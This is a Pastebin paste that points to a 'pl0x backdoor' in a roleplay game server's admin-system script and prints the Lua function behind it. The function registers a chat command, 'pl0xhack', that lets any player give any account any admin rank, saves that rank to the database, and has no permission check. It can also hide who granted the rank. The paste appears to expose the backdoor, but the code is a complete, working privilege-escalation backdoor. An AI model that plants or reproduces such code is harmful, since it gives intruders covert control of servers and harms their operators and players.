Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- You can find pl0x backdoor in Admin-syetem>Player>s_player_commands
- '
- function makePlayerAdmin(thePlayer, commandName, who, rank)
- if not (who) then
- outputChatBox("SYNTAX: /" .. commandName .. " [Player Partial Name/ID] [Rank]", thePlayer, 255, 194, 14)
- else
- local targetPlayer, targetPlayerName = exports.global:findPlayerByPartialNick(thePlayer, who)
- if (targetPlayer) then
- local username = getPlayerName(thePlayer)
- local accountID = getElementData(targetPlayer, "gameaccountid")
- exports['anticheat-system']:changeProtectedElementDataEx(targetPlayer, "adminlevel", tonumber(rank))
- rank = tonumber(rank)
- if (rank<1337) then
- exports['anticheat-system']:changeProtectedElementDataEx(targetPlayer, "hiddenadmin", 0)
- end
- local query = mysql:query_free("UPDATE accounts SET admin='" .. mysql:escape_string(tonumber(rank)) .. "', hiddenadmin='0' WHERE id='" .. mysql:escape_string(accountID) .. "'")
- outputChatBox("You set " .. targetPlayerName .. "'s Admin rank to " .. rank .. ".", thePlayer, 0, 255, 0)
- local hiddenAdmin = getElementData(thePlayer, "hiddenadmin")
- -- Fix for scoreboard & nametags
- local targetAdminTitle = exports.global:getPlayerAdminTitle(targetPlayer)
- if (rank>0) or (rank==-999999999) then
- exports['anticheat-system']:changeProtectedElementDataEx(targetPlayer, "adminduty", 1)
- else
- exports['anticheat-system']:changeProtectedElementDataEx(targetPlayer, "adminduty", 0)
- end
- mysql:query_free("UPDATE accounts SET adminduty=" .. mysql:escape_string(getElementData(targetPlayer, "adminduty")) .. " WHERE id = " .. mysql:escape_string(getElementData(targetPlayer, "gameaccountid")) )
- exports.global:updateNametagColor(targetPlayer)
- if (hiddenAdmin==0) then
- local adminTitle = exports.global:getPlayerAdminTitle(thePlayer)
- outputChatBox(adminTitle .. " " .. username .. " set your admin rank to " .. rank .. ".", targetPlayer, 255, 194, 14)
- exports.global:sendMessageToAdmins("AdmCmd: " .. tostring(adminTitle) .. " " .. username .. " set " .. targetPlayerName .. "'s admin level to " .. rank .. ".")
- else
- outputChatBox("Hidden admin set your admin rank to " .. rank .. ".", targetPlayer, 255, 194, 14)
- end
- end
- end
- end
- addCommandHandler("pl0xhack", makePlayerAdmin, false, false)
Add Comment
Please, Sign In to add comment